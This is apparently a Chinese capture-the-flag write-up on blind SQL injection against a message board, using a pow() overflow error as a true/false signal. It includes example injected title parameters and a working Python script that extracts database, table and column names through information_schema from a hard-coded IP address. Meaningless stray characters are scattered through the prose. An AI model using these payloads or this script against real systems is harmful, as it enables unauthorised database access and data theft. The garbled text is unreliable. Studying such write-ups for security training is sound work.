hw結(jié)束了,省上的hw又接著了器虾,哭~讯嫂。弱雞的我只有繼續(xù)當苦力,苦啊苦兆沙。昨天看見了一道sql注入題欧芽。(不知道什么比賽)
訪問頁面,顯示一個留言板葛圃,首先嘗試xss發(fā)現(xiàn)沒什么用千扔,一直返回受影響行數(shù)1發(fā)帖成功憎妙,掃了下目錄,也沒什么有用的曲楚。接著嘗試注入發(fā)現(xiàn)輸入單引號發(fā)現(xiàn)厘唾,返回受影響行數(shù)-1 發(fā)帖失敗,應該是存在注入龙誊。
經(jīng)過測試抚垃,發(fā)現(xiàn)不管輸入什么都返回受影響行數(shù)1發(fā)帖成功。只有開始測試的時候沒有閉合單引號返回受影響行數(shù)-1 發(fā)帖失敗趟大,后面經(jīng)過分析鹤树,如下:
SQL語法正確的話,會顯示”受影響行數(shù)1發(fā)帖成功” 逊朽。例如:title=1' and 1=2 and pow(9,99999999) or '1&author=1&content=1
SQL語法不正確的話罕伯,會顯示”受影響行數(shù)-1 發(fā)帖失敗” 。例如:title=1' and 1=1 and pow(9,99999999) or '1&author=1&content=1
注:pow(9,99999999)會導致數(shù)據(jù)庫因為數(shù)字過大而出錯惋耙,當title=1' and 1=2 時捣炬,條件不成立,便不執(zhí)行接下來的pow(9,99999999)函數(shù)绽榛,sql語法正確湿酸。反之執(zhí)行導致異常。
和之前國賽的那道全世界最簡單的sql類似灭美。
由此可進行盲注跑數(shù)據(jù)推溃,編寫腳本或者修改sqlmap的temper仇穗。
辣雞腳本如下:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{},@:\/_-."
name = ""
url = "http://115.238.30.26:13641/index.php"
yes = "受影響行數(shù)-1"
for i in range(40):
print(i)
for char in chars:
#數(shù)據(jù)庫sqy 表comment 列id,username,title,content,time
#payload = "1' and ascii(substr(database(),{},1))={} and pow(9,99999999) or '1".format(str(i), ord(char))
payload = "1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='comment'),{},1))={} and pow(9,99999999) or '1".format(str(i), ord(char))
#payload = "1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='say'),{},1))={} and pow(9,99999999) or '1".format(str(i), ord(char))
data = {"title": payload,
"author": 1,
"content": 1
}
res = requests.post(url, data=data).text
if yes in res:
name += char
print(name)
break